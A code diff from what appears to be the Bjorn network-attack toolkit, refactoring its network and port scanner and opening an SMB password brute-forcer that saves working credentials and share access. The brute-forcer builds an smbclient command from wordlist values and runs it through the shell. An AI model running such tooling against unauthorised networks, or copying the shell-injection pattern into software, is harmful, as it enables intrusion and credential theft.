# IMPORTANT: actions must never mutate shared_data.orchestrator_should_exit (global stop signal).
|
||||
self._stop_event = threading.Event()
|
||||
self.thread = None
|
||||
self.scan_interface = None
|
||||
|
||||
cfg = getattr(self.shared_data, "config", {}) or {}
|
||||
self.max_host_threads = max(1, min(8, int(cfg.get("scan_max_host_threads", _MAX_HOST_THREADS))))
|
||||
self.max_port_threads = max(1, min(16, int(cfg.get("scan_max_port_threads", _MAX_PORT_THREADS))))
|
||||
self.port_timeout = max(0.3, min(3.0, float(cfg.get("scan_port_timeout_s", _PORT_TIMEOUT))))
|
||||
self.mac_retries = max(1, min(5, int(cfg.get("scan_mac_retries", _MAC_RETRIES))))
|
||||
self.mac_retry_delay = max(0.2, min(2.0, float(cfg.get("scan_mac_retry_delay_s", _MAC_RETRY_DELAY))))
|
||||
self.arping_timeout = max(1.0, min(5.0, float(cfg.get("scan_arping_timeout_s", _ARPING_TIMEOUT))))
|
||||
self.discovery_timeout_s = max(
|
||||
20, min(300, int(cfg.get("scan_nmap_discovery_timeout_s", _NMAP_DISCOVERY_TIMEOUT_S)))
|
||||
)
|
||||
self.discovery_args = str(cfg.get("scan_nmap_discovery_args", _NMAP_DISCOVERY_ARGS)).strip() or _NMAP_DISCOVERY_ARGS
|
||||
self.scan_min_interval_s = max(60, int(cfg.get("scan_min_interval_s", _SCAN_MIN_INTERVAL_S)))
|
||||
self._last_scan_started = 0.0
|
||||
|
||||
# progress
|
||||
self.total_hosts = 0
|
||||
self.scanned_hosts = 0
|
||||
@@ -76,9 +134,13 @@ class NetworkScanner:
|
||||
total = min(max(total, 0), 100)
|
||||
self.shared_data.bjorn_progress = f"{int(total)}%"
|
||||
|
||||
def _should_stop(self) -> bool:
|
||||
# Treat orchestrator flag as read-only, and combine with local stop event.
|
||||
return bool(getattr(self.shared_data, "orchestrator_should_exit", False)) or self._stop_event.is_set()
|
||||
|
||||
# ---------- network ----------
|
||||
def get_network(self):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
if self._should_stop():
|
||||
return None
|
||||
try:
|
||||
if self.shared_data.use_custom_network:
|
||||
@@ -118,7 +180,7 @@ class NetworkScanner:
|
||||
self.logger.debug(f"nmap_prefixes not found at {path}")
|
||||
return vendor_map
|
||||
try:
|
||||
with open(path, 'r') as f:
|
||||
with open(path, 'r', encoding='utf-8', errors='ignore') as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith('#'):
|
||||
@@ -139,8 +201,11 @@ class NetworkScanner:
|
||||
|
||||
def get_current_essid(self):
|
||||
try:
|
||||
essid = subprocess.check_output(['iwgetid', '-r'], stderr=subprocess.STDOUT, universal_newlines=True).strip()
|
||||
return essid or ""
|
||||
result = subprocess.run(
|
||||
['iwgetid', '-r'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
return (result.stdout or "").strip()
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
@@ -160,57 +225,34 @@ class NetworkScanner:
|
||||
Try multiple strategies to resolve a real MAC for the given IP.
|
||||
RETURNS: normalized MAC like 'aa:bb:cc:dd:ee:ff' or None.
|
||||
NEVER returns 'IP:<ip>'.
|
||||
RPi Zero: reduced retries and timeouts.
|
||||
"""
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
if self._should_stop():
|
||||
return None
|
||||
|
||||
import re
|
||||
|
||||
MAC_RE = re.compile(r'([0-9A-Fa-f]{2})([-:])(?:[0-9A-Fa-f]{2}\2){4}[0-9A-Fa-f]{2}')
|
||||
BAD_MACS = {"00:00:00:00:00:00", "ff:ff:ff:ff:ff:ff"}
|
||||
|
||||
def _normalize_mac(s: str | None) -> str | None:
|
||||
if not s:
|
||||
return None
|
||||
m = MAC_RE.search(s)
|
||||
if not m:
|
||||
return None
|
||||
return m.group(0).replace('-', ':').lower()
|
||||
|
||||
def _is_bad_mac(mac: str | None) -> bool:
|
||||
if not mac:
|
||||
return True
|
||||
mac_l = mac.lower()
|
||||
if mac_l in BAD_MACS:
|
||||
return True
|
||||
parts = mac_l.split(':')
|
||||
if len(parts) == 6 and len(set(parts)) == 1:
|
||||
return True
|
||||
return False
|
||||
|
||||
try:
|
||||
mac = None
|
||||
|
||||
# 1) getmac (retry a few times)
|
||||
retries = 6
|
||||
while not mac and retries > 0 and not self.shared_data.orchestrator_should_exit:
|
||||
# 1) getmac (reduced retries for RPi Zero)
|
||||
retries = self.mac_retries
|
||||
while not mac and retries > 0 and not self._should_stop():
|
||||
try:
|
||||
from getmac import get_mac_address as gma
|
||||
mac = _normalize_mac(gma(ip=ip))
|
||||
except Exception:
|
||||
mac = None
|
||||
if not mac:
|
||||
time.sleep(1.5)
|
||||
time.sleep(self.mac_retry_delay)
|
||||
retries -= 1
|
||||
|
||||
# 2) targeted arp-scan
|
||||
if not mac:
|
||||
if not mac and not self._should_stop():
|
||||
try:
|
||||
iface = self.scan_interface or self.shared_data.default_network_interface or "wlan0"
|
||||
out = subprocess.check_output(
|
||||
result = subprocess.run(
|
||||
['sudo', 'arp-scan', '--interface', iface, '-q', ip],
|
||||
universal_newlines=True, stderr=subprocess.STDOUT
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
out = result.stdout or ""
|
||||
for line in out.splitlines():
|
||||
if line.strip().startswith(ip):
|
||||
cand = _normalize_mac(line)
|
||||
@@ -225,11 +267,13 @@ class NetworkScanner:
|
||||
self.logger.debug(f"arp-scan fallback failed for {ip}: {e}")
|
||||
|
||||
# 3) ip neigh
|
||||
if not mac:
|
||||
if not mac and not self._should_stop():
|
||||
try:
|
||||
neigh = subprocess.check_output(['ip', 'neigh', 'show', ip],
|
||||
universal_newlines=True, stderr=subprocess.STDOUT)
|
||||
cand = _normalize_mac(neigh)
|
||||
result = subprocess.run(
|
||||
['ip', 'neigh', 'show', ip],
|
||||
capture_output=True, text=True, timeout=3
|
||||
)
|
||||
cand = _normalize_mac(result.stdout or "")
|
||||
if cand:
|
||||
mac = cand
|
||||
except Exception:
|
||||
@@ -247,6 +291,7 @@ class NetworkScanner:
|
||||
|
||||
# ---------- port scanning ----------
|
||||
class PortScannerWorker:
|
||||
"""Port scanner using ThreadPoolExecutor for RPi Zero safety."""
|
||||
def __init__(self, outer, target, open_ports, portstart, portend, extra_ports):
|
||||
self.outer = outer
|
||||
self.target = target
|
||||
@@ -256,10 +301,10 @@ class NetworkScanner:
|
||||
self.extra_ports = [int(p) for p in (extra_ports or [])]
|
||||
|
||||
def scan_one(self, port):
|
||||
if self.outer.shared_data.orchestrator_should_exit:
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(2)
|
||||
s.settimeout(self.outer.port_timeout)
|
||||
try:
|
||||
s.connect((self.target, port))
|
||||
with self.outer.lock:
|
||||
@@ -274,25 +319,25 @@ class NetworkScanner:
|
||||
self.outer.update_progress('port', 1)
|
||||
|
||||
def run(self):
|
||||
if self.outer.shared_data.orchestrator_should_exit:
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
threads = []
|
||||
for port in range(self.portstart, self.portend):
|
||||
if self.outer.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
t = threading.Thread(target=self.scan_one, args=(port,))
|
||||
t.start()
|
||||
threads.append(t)
|
||||
for port in self.extra_ports:
|
||||
if self.outer.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
t = threading.Thread(target=self.scan_one, args=(port,))
|
||||
t.start()
|
||||
threads.append(t)
|
||||
for t in threads:
|
||||
if self.outer.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
t.join()
|
||||
ports = list(range(self.portstart, self.portend)) + self.extra_ports
|
||||
if not ports:
|
||||
return
|
||||
|
||||
with ThreadPoolExecutor(max_workers=self.outer.max_port_threads) as pool:
|
||||
futures = []
|
||||
for port in ports:
|
||||
if self.outer._should_stop():
|
||||
break
|
||||
futures.append(pool.submit(self.scan_one, port))
|
||||
for f in as_completed(futures):
|
||||
if self.outer._should_stop():
|
||||
break
|
||||
try:
|
||||
f.result(timeout=self.outer.port_timeout + 1)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ---------- main scan block ----------
|
||||
class ScanPorts:
|
||||
@@ -310,20 +355,28 @@ class NetworkScanner:
|
||||
self.extra_ports = [int(p) for p in (extra_ports or [])]
|
||||
self.ip_data = self.IpData()
|
||||
self.ip_hostname_list = [] # tuples (ip, hostname, mac)
|
||||
self.host_threads = []
|
||||
self.open_ports = {}
|
||||
self.all_ports = []
|
||||
|
||||
# NEW: per-run pending cache for unresolved IPs (no DB writes)
|
||||
# ip -> {'hostnames': set(), 'ports': set(), 'first_seen': ts, 'essid': str}
|
||||
# per-run pending cache for unresolved IPs (no DB writes)
|
||||
self.pending = {}
|
||||
|
||||
def scan_network_and_collect(self):
|
||||
if self.outer.shared_data.orchestrator_should_exit:
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
with self.outer.lock:
|
||||
self.outer.shared_data.bjorn_progress = "1%"
|
||||
t0 = time.time()
|
||||
try:
|
||||
self.outer.nm.scan(
|
||||
hosts=str(self.network),
|
||||
arguments=self.outer.discovery_args,
|
||||
timeout=self.outer.discovery_timeout_s,
|
||||
)
|
||||
except Exception as e:
|
||||
self.outer.logger.error(f"Nmap host discovery failed: {e}")
|
||||
return
|
||||
|
||||
t0 = time.time()
|
||||
self.outer.nm.scan(hosts=str(self.network), arguments='-sn -PR')
|
||||
hosts = list(self.outer.nm.all_hosts())
|
||||
if self.outer.blacklistcheck:
|
||||
hosts = [ip for ip in hosts if ip not in self.outer.ip_scan_blacklist]
|
||||
@@ -331,10 +384,23 @@ class NetworkScanner:
|
||||
self.outer.total_hosts = len(hosts)
|
||||
self.outer.scanned_hosts = 0
|
||||
self.outer.update_progress('host', 0)
|
||||
self.outer.logger.info(f"Host discovery: {len(hosts)} candidate(s) (took {time.time()-t0:.1f}s)")
|
||||
|
||||
elapsed = time.time() - t0
|
||||
self.outer.logger.info(f"Host discovery: {len(hosts)} candidate(s) (took {elapsed:.1f}s)")
|
||||
|
||||
# Update comment for display
|
||||
self.outer.shared_data.comment_params = {
|
||||
"hosts_found": str(len(hosts)),
|
||||
"network": str(self.network),
|
||||
"elapsed": f"{elapsed:.1f}"
|
||||
}
|
||||
|
||||
# existing hosts (for quick merge)
|
||||
existing_rows = self.outer.shared_data.db.get_all_hosts()
|
||||
try:
|
||||
existing_rows = self.outer.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
self.outer.logger.error(f"DB get_all_hosts failed: {e}")
|
||||
existing_rows = []
|
||||
self.existing_map = {h['mac_address']: h for h in existing_rows}
|
||||
self.seen_now = set()
|
||||
|
||||
@@ -342,19 +408,24 @@ class NetworkScanner:
|
||||
self.vendor_map = self.outer.load_mac_vendor_map()
|
||||
self.essid = self.outer.get_current_essid()
|
||||
|
||||
# per-host threads
|
||||
for host in hosts:
|
||||
if self.outer.shared_data.orchestrator_should_exit:
|
||||
return
|
||||
t = threading.Thread(target=self.scan_host, args=(host,))
|
||||
t.start()
|
||||
self.host_threads.append(t)
|
||||
# per-host threads with bounded pool
|
||||
max_threads = min(self.outer.max_host_threads, len(hosts)) if hosts else 1
|
||||
with ThreadPoolExecutor(max_workers=max_threads) as pool:
|
||||
futures = {}
|
||||
for host in hosts:
|
||||
if self.outer._should_stop():
|
||||
break
|
||||
f = pool.submit(self.scan_host, host)
|
||||
futures[f] = host
|
||||
|
||||
# wait
|
||||
for t in self.host_threads:
|
||||
if self.outer.shared_data.orchestrator_should_exit:
|
||||
return
|
||||
t.join()
|
||||
for f in as_completed(futures):
|
||||
if self.outer._should_stop():
|
||||
break
|
||||
try:
|
||||
f.result(timeout=30)
|
||||
except Exception as e:
|
||||
ip = futures.get(f, "?")
|
||||
self.outer.logger.error(f"Host scan thread failed for {ip}: {e}")
|
||||
|
||||
self.outer.logger.info(
|
||||
f"Host mapping completed: {self.outer.scanned_hosts}/{self.outer.total_hosts} processed, "
|
||||
@@ -364,7 +435,10 @@ class NetworkScanner:
|
||||
# mark unseen as alive=0
|
||||
existing_macs = set(self.existing_map.keys())
|
||||
for mac in existing_macs - self.seen_now:
|
||||
self.outer.shared_data.db.update_host(mac_address=mac, alive=0)
|
||||
try:
|
||||
self.outer.shared_data.db.update_host(mac_address=mac, alive=0)
|
||||
except Exception as e:
|
||||
self.outer.logger.error(f"Failed to mark {mac} as dead: {e}")
|
||||
|
||||
# feed ip_data
|
||||
for ip, hostname, mac in self.ip_hostname_list:
|
||||
@@ -373,13 +447,19 @@ class NetworkScanner:
|
||||
self.ip_data.mac_list.append(mac)
|
||||
|
||||
def scan_host(self, ip):
|
||||
if self.outer.shared_data.orchestrator_should_exit:
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
if self.outer.blacklistcheck and ip in self.outer.ip_scan_blacklist:
|
||||
return
|
||||
try:
|
||||
# ARP ping to help populate neighbor cache
|
||||
os.system(f"arping -c 2 -w 2 {ip} > /dev/null 2>&1")
|
||||
# ARP ping to help populate neighbor cache (subprocess with timeout)
|
||||
try:
|
||||
subprocess.run(
|
||||
['arping', '-c', '2', '-w', str(self.outer.arping_timeout), ip],
|
||||
capture_output=True, timeout=self.outer.arping_timeout + 2
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Hostname (validated)
|
||||
hostname = ""
|
||||
@@ -393,7 +473,7 @@ class NetworkScanner:
|
||||
self.outer.update_progress('host', 1)
|
||||
return
|
||||
|
||||
time.sleep(1.0) # let ARP breathe
|
||||
time.sleep(0.5) # let ARP breathe (reduced from 1.0 for RPi Zero speed)
|
||||
|
||||
mac = self.outer.get_mac_address(ip, hostname)
|
||||
if mac:
|
||||
@@ -431,10 +511,12 @@ class NetworkScanner:
|
||||
if ip:
|
||||
ips_set.add(ip)
|
||||
|
||||
# Update current hostname + track history
|
||||
current_hn = ""
|
||||
if hostname:
|
||||
self.outer.shared_data.db.update_hostname(mac, hostname)
|
||||
try:
|
||||
self.outer.shared_data.db.update_hostname(mac, hostname)
|
||||
except Exception as e:
|
||||
self.outer.logger.error(f"Failed to update hostname for {mac}: {e}")
|
||||
current_hn = hostname
|
||||
else:
|
||||
current_hn = (prev.get('hostnames') or "").split(';', 1)[0] if prev else ""
|
||||
@@ -444,15 +526,18 @@ class NetworkScanner:
|
||||
key=lambda x: tuple(map(int, x.split('.'))) if x.count('.') == 3 else (0, 0, 0, 0)
|
||||
)) if ips_set else None
|
||||
|
||||
self.outer.shared_data.db.update_host(
|
||||
mac_address=mac,
|
||||
ips=ips_sorted,
|
||||
hostnames=None,
|
||||
alive=1,
|
||||
ports=None,
|
||||
vendor=vendor or (prev.get('vendor') if prev else ""),
|
||||
essid=self.essid or (prev.get('essid') if prev else None)
|
||||
)
|
||||
try:
|
||||
self.outer.shared_data.db.update_host(
|
||||
mac_address=mac,
|
||||
ips=ips_sorted,
|
||||
hostnames=None,
|
||||
alive=1,
|
||||
ports=None,
|
||||
vendor=vendor or (prev.get('vendor') if prev else ""),
|
||||
essid=self.essid or (prev.get('essid') if prev else None)
|
||||
)
|
||||
except Exception as e:
|
||||
self.outer.logger.error(f"Failed to update host {mac}: {e}")
|
||||
|
||||
# refresh local cache
|
||||
self.existing_map[mac] = dict(
|
||||
@@ -467,19 +552,26 @@ class NetworkScanner:
|
||||
|
||||
with self.outer.lock:
|
||||
self.ip_hostname_list.append((ip, hostname or "", mac))
|
||||
|
||||
# Update comment params for live display
|
||||
self.outer.shared_data.comment_params = {
|
||||
"ip": ip, "mac": mac,
|
||||
"hostname": hostname or "unknown",
|
||||
"vendor": vendor or "unknown"
|
||||
}
|
||||
self.outer.logger.debug(f"MAC for {ip}: {mac} (hostname: {hostname or '-'})")
|
||||
|
||||
except Exception as e:
|
||||
self.outer.logger.error(f"Error scanning host {ip}: {e}")
|
||||
finally:
|
||||
self.outer.update_progress('host', 1)
|
||||
time.sleep(0.05)
|
||||
time.sleep(0.02) # reduced from 0.05
|
||||
|
||||
def start(self):
|
||||
if self.outer.shared_data.orchestrator_should_exit:
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
self.scan_network_and_collect()
|
||||
if self.outer.shared_data.orchestrator_should_exit:
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
|
||||
# init structures for ports
|
||||
@@ -496,12 +588,22 @@ class NetworkScanner:
|
||||
f"(+{len(self.extra_ports)} extra)"
|
||||
)
|
||||
|
||||
# per-IP port scan (threads per port, original logic)
|
||||
for idx, ip in enumerate(self.ip_data.ip_list, 1):
|
||||
if self.outer.shared_data.orchestrator_should_exit:
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
worker = self.outer.PortScannerWorker(self.outer, ip, self.open_ports, self.portstart, self.portend, self.extra_ports)
|
||||
|
||||
# Update comment params for live display
|
||||
self.outer.shared_data.comment_params = {
|
||||
"ip": ip, "progress": f"{idx}/{total_targets}",
|
||||
"ports_found": str(sum(len(v) for v in self.open_ports.values()))
|
||||
}
|
||||
|
||||
worker = self.outer.PortScannerWorker(
|
||||
self.outer, ip, self.open_ports,
|
||||
self.portstart, self.portend, self.extra_ports
|
||||
)
|
||||
worker.run()
|
||||
|
||||
if idx % 10 == 0 or idx == total_targets:
|
||||
found = sum(len(v) for v in self.open_ports.values())
|
||||
self.outer.logger.info(
|
||||
@@ -517,13 +619,27 @@ class NetworkScanner:
|
||||
|
||||
# ---------- orchestration ----------
|
||||
def scan(self):
|
||||
self.shared_data.orchestrator_should_exit = False
|
||||
# Reset only local stop flag for this action. Never touch orchestrator_should_exit here.
|
||||
self._stop_event.clear()
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
if self._should_stop():
|
||||
self.logger.info("Orchestrator switched to manual mode. Stopping scanner.")
|
||||
return
|
||||
|
||||
now = time.time()
|
||||
elapsed = now - self._last_scan_started if self._last_scan_started else 1e9
|
||||
if elapsed < self.scan_min_interval_s:
|
||||
remaining = int(self.scan_min_interval_s - elapsed)
|
||||
self.logger.info_throttled(
|
||||
f"Network scan skipped (min interval active, remaining={remaining}s)",
|
||||
key="scanner_min_interval_skip",
|
||||
interval_s=15.0,
|
||||
)
|
||||
return
|
||||
self._last_scan_started = now
|
||||
|
||||
self.shared_data.bjorn_orch_status = "NetworkScanner"
|
||||
self.shared_data.comment_params = {}
|
||||
self.logger.info("Starting Network Scanner")
|
||||
|
||||
# network
|
||||
@@ -535,6 +651,7 @@ class NetworkScanner:
|
||||
return
|
||||
|
||||
self.shared_data.bjorn_status_text2 = str(network)
|
||||
self.shared_data.comment_params = {"network": str(network)}
|
||||
portstart = int(self.shared_data.portstart)
|
||||
portend = int(self.shared_data.portend)
|
||||
extra_ports = self.shared_data.portlist
|
||||
@@ -547,21 +664,22 @@ class NetworkScanner:
|
||||
|
||||
ip_data, open_ports_by_ip, all_ports, alive_macs = result
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
if self._should_stop():
|
||||
self.logger.info("Scan canceled before DB finalization.")
|
||||
return
|
||||
|
||||
# push ports -> DB (merge by MAC). Only for IPs with known MAC.
|
||||
# map ip->mac
|
||||
# push ports -> DB (merge by MAC)
|
||||
ip_to_mac = {ip: mac for ip, _, mac in zip(ip_data.ip_list, ip_data.hostname_list, ip_data.mac_list)}
|
||||
|
||||
# existing cache
|
||||
existing_map = {h['mac_address']: h for h in self.shared_data.db.get_all_hosts()}
|
||||
try:
|
||||
existing_map = {h['mac_address']: h for h in self.shared_data.db.get_all_hosts()}
|
||||
except Exception as e:
|
||||
self.logger.error(f"DB get_all_hosts for port merge failed: {e}")
|
||||
existing_map = {}
|
||||
|
||||
for ip, ports in open_ports_by_ip.items():
|
||||
mac = ip_to_mac.get(ip)
|
||||
if not mac:
|
||||
# store to pending (no DB write)
|
||||
slot = scanner.pending.setdefault(
|
||||
ip,
|
||||
{'hostnames': set(), 'ports': set(), 'first_seen': int(time.time()), 'essid': scanner.essid}
|
||||
@@ -578,16 +696,19 @@ class NetworkScanner:
|
||||
pass
|
||||
ports_set.update(str(p) for p in (ports or []))
|
||||
|
||||
self.shared_data.db.update_host(
|
||||
mac_address=mac,
|
||||
ports=';'.join(sorted(ports_set, key=lambda x: int(x))),
|
||||
alive=1
|
||||
)
|
||||
try:
|
||||
self.shared_data.db.update_host(
|
||||
mac_address=mac,
|
||||
ports=';'.join(sorted(ports_set, key=lambda x: int(x))),
|
||||
alive=1
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.error(f"Failed to update ports for {mac}: {e}")
|
||||
|
||||
# Late resolution pass: try to resolve pending IPs before stats
|
||||
# Late resolution pass
|
||||
unresolved_before = len(scanner.pending)
|
||||
for ip, data in list(scanner.pending.items()):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
if self._should_stop():
|
||||
break
|
||||
try:
|
||||
guess_hostname = next(iter(data['hostnames']), "")
|
||||
@@ -595,25 +716,28 @@ class NetworkScanner:
|
||||
guess_hostname = ""
|
||||
mac = self.get_mac_address(ip, guess_hostname)
|
||||
if not mac:
|
||||
continue # still unresolved for this run
|
||||
continue
|
||||
|
||||
mac = mac.lower()
|
||||
vendor = self.mac_to_vendor(mac, scanner.vendor_map)
|
||||
# create/update host now
|
||||
self.shared_data.db.update_host(
|
||||
mac_address=mac,
|
||||
ips=ip,
|
||||
hostnames=';'.join(data['hostnames']) or None,
|
||||
vendor=vendor,
|
||||
essid=data.get('essid'),
|
||||
alive=1
|
||||
)
|
||||
if data['ports']:
|
||||
try:
|
||||
self.shared_data.db.update_host(
|
||||
mac_address=mac,
|
||||
ports=';'.join(str(p) for p in sorted(data['ports'], key=int)),
|
||||
ips=ip,
|
||||
hostnames=';'.join(data['hostnames']) or None,
|
||||
vendor=vendor,
|
||||
essid=data.get('essid'),
|
||||
alive=1
|
||||
)
|
||||
if data['ports']:
|
||||
self.shared_data.db.update_host(
|
||||
mac_address=mac,
|
||||
ports=';'.join(str(p) for p in sorted(data['ports'], key=int)),
|
||||
alive=1
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.error(f"Failed to resolve pending IP {ip}: {e}")
|
||||
continue
|
||||
del scanner.pending[ip]
|
||||
|
||||
if scanner.pending:
|
||||
@@ -622,8 +746,13 @@ class NetworkScanner:
|
||||
f"(resolved during late pass: {unresolved_before - len(scanner.pending)})"
|
||||
)
|
||||
|
||||
# stats (alive, total ports, distinct vulnerabilities on alive)
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
# stats
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
self.logger.error(f"DB get_all_hosts for stats failed: {e}")
|
||||
rows = []
|
||||
|
||||
alive_hosts = [r for r in rows if int(r.get('alive') or 0) == 1]
|
||||
all_known = len(rows)
|
||||
|
||||
@@ -641,12 +770,23 @@ class NetworkScanner:
|
||||
except Exception:
|
||||
vulnerabilities_count = 0
|
||||
|
||||
self.shared_data.db.set_stats(
|
||||
total_open_ports=total_open_ports,
|
||||
alive_hosts_count=len(alive_hosts),
|
||||
all_known_hosts_count=all_known,
|
||||
vulnerabilities_count=int(vulnerabilities_count)
|
||||
)
|
||||
try:
|
||||
self.shared_data.db.set_stats(
|
||||
total_open_ports=total_open_ports,
|
||||
alive_hosts_count=len(alive_hosts),
|
||||
all_known_hosts_count=all_known,
|
||||
vulnerabilities_count=int(vulnerabilities_count)
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.error(f"Failed to set stats: {e}")
|
||||
|
||||
# Update comment params with final stats
|
||||
self.shared_data.comment_params = {
|
||||
"alive_hosts": str(len(alive_hosts)),
|
||||
"total_ports": str(total_open_ports),
|
||||
"vulns": str(int(vulnerabilities_count)),
|
||||
"network": str(network)
|
||||
}
|
||||
|
||||
# WAL checkpoint + optimize
|
||||
try:
|
||||
@@ -661,7 +801,7 @@ class NetworkScanner:
|
||||
self.logger.info("Network scan complete (DB updated).")
|
||||
|
||||
except Exception as e:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
if self._should_stop():
|
||||
self.logger.info("Orchestrator switched to manual mode. Gracefully stopping the network scanner.")
|
||||
else:
|
||||
self.logger.error(f"Error in scan: {e}")
|
||||
@@ -673,7 +813,9 @@ class NetworkScanner:
|
||||
def start(self):
|
||||
if not self.running:
|
||||
self.running = True
|
||||
self.thread = threading.Thread(target=self.scan_wrapper, daemon=True)
|
||||
self._stop_event.clear()
|
||||
# Non-daemon so orchestrator can join it reliably (no orphan thread).
|
||||
self.thread = threading.Thread(target=self.scan_wrapper, daemon=False)
|
||||
self.thread.start()
|
||||
logger.info("NetworkScanner started.")
|
||||
|
||||
@@ -683,25 +825,22 @@ class NetworkScanner:
|
||||
finally:
|
||||
with self.lock:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.running = False
|
||||
logger.debug("bjorn_progress reset to empty string")
|
||||
|
||||
def stop(self):
|
||||
if self.running:
|
||||
self.running = False
|
||||
self.shared_data.orchestrator_should_exit = True
|
||||
self._stop_event.set()
|
||||
try:
|
||||
if hasattr(self, "thread") and self.thread.is_alive():
|
||||
self.thread.join()
|
||||
self.thread.join(timeout=15)
|
||||
except Exception:
|
||||
pass
|
||||
logger.info("NetworkScanner stopped.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# SharedData must provide .db (BjornDatabase) and fields:
|
||||
# default_network_interface, use_custom_network, custom_network,
|
||||
# portstart, portend, portlist, blacklistcheck, mac/ip/hostname blacklists,
|
||||
# bjorn_progress, bjorn_orch_status, bjorn_status_text2, orchestrator_should_exit.
|
||||
from shared import SharedData
|
||||
sd = SharedData()
|
||||
scanner = NetworkScanner(sd)
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
"""
|
||||
smb_bruteforce.py — SMB bruteforce (DB-backed, no CSV/JSON, no rich)
|
||||
- Cibles fournies par l’orchestrateur (ip, port)
|
||||
"""
|
||||
smb_bruteforce.py — SMB bruteforce (DB-backed, no CSV/JSON, no rich)
|
||||
- Cibles fournies par l’orchestrateur (ip, port)
|
||||
- IP -> (MAC, hostname) depuis DB.hosts
|
||||
- Succès enregistrés dans DB.creds (service='smb'), 1 ligne PAR PARTAGE (database=<share>)
|
||||
- Succès enregistrés dans DB.creds (service='smb'), 1 ligne PAR PARTAGE (database=<share>)
|
||||
- Conserve la logique de queue/threads et les signatures. Plus de rich/progress.
|
||||
"""
|
||||
|
||||
@@ -10,12 +10,13 @@ import os
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
from subprocess import Popen, PIPE
|
||||
from subprocess import Popen, PIPE, TimeoutExpired
|
||||
from smb.SMBConnection import SMBConnection
|
||||
from queue import Queue
|
||||
from typing import List, Dict, Tuple, Optional
|
||||
|
||||
from shared import SharedData
|
||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="smb_bruteforce.py", level=logging.DEBUG)
|
||||
@@ -47,19 +48,20 @@ class SMBBruteforce:
|
||||
return self.smb_bruteforce.run_bruteforce(ip, port)
|
||||
|
||||
def execute(self, ip, port, row, status_key):
|
||||
"""Point d’entrée orchestrateur (retour 'success' / 'failed')."""
|
||||
"""Point d'entrée orchestrateur (retour 'success' / 'failed')."""
|
||||
self.shared_data.bjorn_orch_status = "SMBBruteforce"
|
||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
||||
success, results = self.bruteforce_smb(ip, port)
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
|
||||
class SMBConnector:
|
||||
"""Gère les tentatives SMB, la persistance DB et le mapping IP→(MAC, Hostname)."""
|
||||
"""Gère les tentatives SMB, la persistance DB et le mapping IP→(MAC, Hostname)."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# Wordlists inchangées
|
||||
# Wordlists inchangées
|
||||
self.users = self._read_lines(shared_data.users_file)
|
||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||
|
||||
@@ -70,6 +72,7 @@ class SMBConnector:
|
||||
self.lock = threading.Lock()
|
||||
self.results: List[List[str]] = [] # [mac, ip, hostname, share, user, password, port]
|
||||
self.queue = Queue()
|
||||
self.progress = None
|
||||
|
||||
# ---------- util fichiers ----------
|
||||
@staticmethod
|
||||
@@ -115,8 +118,9 @@ class SMBConnector:
|
||||
# ---------- SMB ----------
|
||||
def smb_connect(self, adresse_ip: str, user: str, password: str) -> List[str]:
|
||||
conn = SMBConnection(user, password, "Bjorn", "Target", use_ntlm_v2=True)
|
||||
timeout = int(getattr(self.shared_data, "smb_connect_timeout_s", 6))
|
||||
try:
|
||||
conn.connect(adresse_ip, 445)
|
||||
conn.connect(adresse_ip, 445, timeout=timeout)
|
||||
shares = conn.listShares()
|
||||
accessible = []
|
||||
for share in shares:
|
||||
@@ -127,7 +131,7 @@ class SMBConnector:
|
||||
accessible.append(share.name)
|
||||
logger.info(f"Access to share {share.name} successful on {adresse_ip} with user '{user}'")
|
||||
except Exception as e:
|
||||
logger.error(f"Error accessing share {share.name} on {adresse_ip} with user '{user}': {e}")
|
||||
logger.debug(f"Error accessing share {share.name} on {adresse_ip} with user '{user}': {e}")
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
@@ -137,10 +141,22 @@ class SMBConnector:
|
||||
return []
|
||||
|
||||
def smbclient_l(self, adresse_ip: str, user: str, password: str) -> List[str]:
|
||||
timeout = int(getattr(self.shared_data, "smb_connect_timeout_s", 6))
|
||||
cmd = f'smbclient -L {adresse_ip} -U {user}%{password}'
|
||||
process = None
|
||||
try:
|
||||
process = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
|
||||
stdout, stderr = process.communicate()
|
||||
try:
|
||||
